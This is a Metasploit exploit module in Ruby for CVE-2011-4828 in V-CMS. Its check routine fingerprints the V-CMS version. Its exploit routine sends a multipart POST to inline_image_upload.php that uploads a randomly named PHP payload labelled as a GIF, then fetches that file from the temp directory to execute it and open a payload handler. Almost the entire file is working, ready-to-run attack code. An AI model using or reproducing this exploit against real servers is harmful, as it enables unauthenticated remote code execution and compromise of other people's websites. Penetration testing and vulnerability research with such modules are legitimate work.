125 lines
3.5 KiB
Ruby
125 lines
3.5 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/exploit/php_exe'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "V-CMS PHP File Upload and Execute",
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'Description' => %q{
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This module exploits a vulnerability found on V-CMS's inline image upload feature.
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The problem is due to the inline_image_upload.php file not checking the file type
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before saving it on the web server. This allows any malicious user to upload a
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script (such as PHP) without authentication, and then execute it with a GET request.
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The issue is fixed in 1.1 by checking the extension name. By default, 1.1 only
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allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
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one of those extension names, which may still be leveraged in an attack.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'AutoSec Tools', # Initial discovery
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['CVE', '2011-4828'],
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['OSVDB', '77183'],
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['BID', '50706'],
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['URL', 'http://bugs.v-cms.org/view.php?id=53'],
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['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Nov 27 2011", #When the ticket was created
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The URI path to vcms', '/vcms/'])
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], self.class)
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end
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def check
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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res = send_request_raw({
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'uri' => uri,
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'method' => 'GET'
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})
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if res and res.body =~ /V\-CMS v1\.[0-1]/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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base = target_uri.path
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base << '/' if base[-1,1] != '/'
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@payload_name = "#{rand_text_alpha(5)}.php"
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p = get_write_exec_payload(:unlink_self=>true)
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post_data = "------x\r\n"
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post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
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post_data << "Content-Type: image/gif\r\n"
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post_data << "\r\n"
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post_data << p + "\r\n"
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post_data << "------x--\r\n"
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print_status("#{peer} Uploading payload: #{@payload_name}")
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res = send_request_cgi({
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'uri' => normalize_uri(base, 'includes/inline_image_upload.php'),
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'method' => 'POST',
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'ctype' => 'multipart/form-data; boundary=----x',
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'data' => post_data
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})
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if res
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print_status("#{peer} replies status: #{res.code.to_s}")
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else
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print_error("#{peer} No response from server. Will not continue")
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return
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end
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print_status("#{peer} Executing payload: #{@payload_name}")
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res = send_request_raw({
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'uri' => "#{base}temp/#{@payload_name}",
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'method' => 'GET'
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})
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if res and res.code == 404
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print_error("#{peer} 404 - the upload probably failed")
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return
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end
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handler
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end
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end
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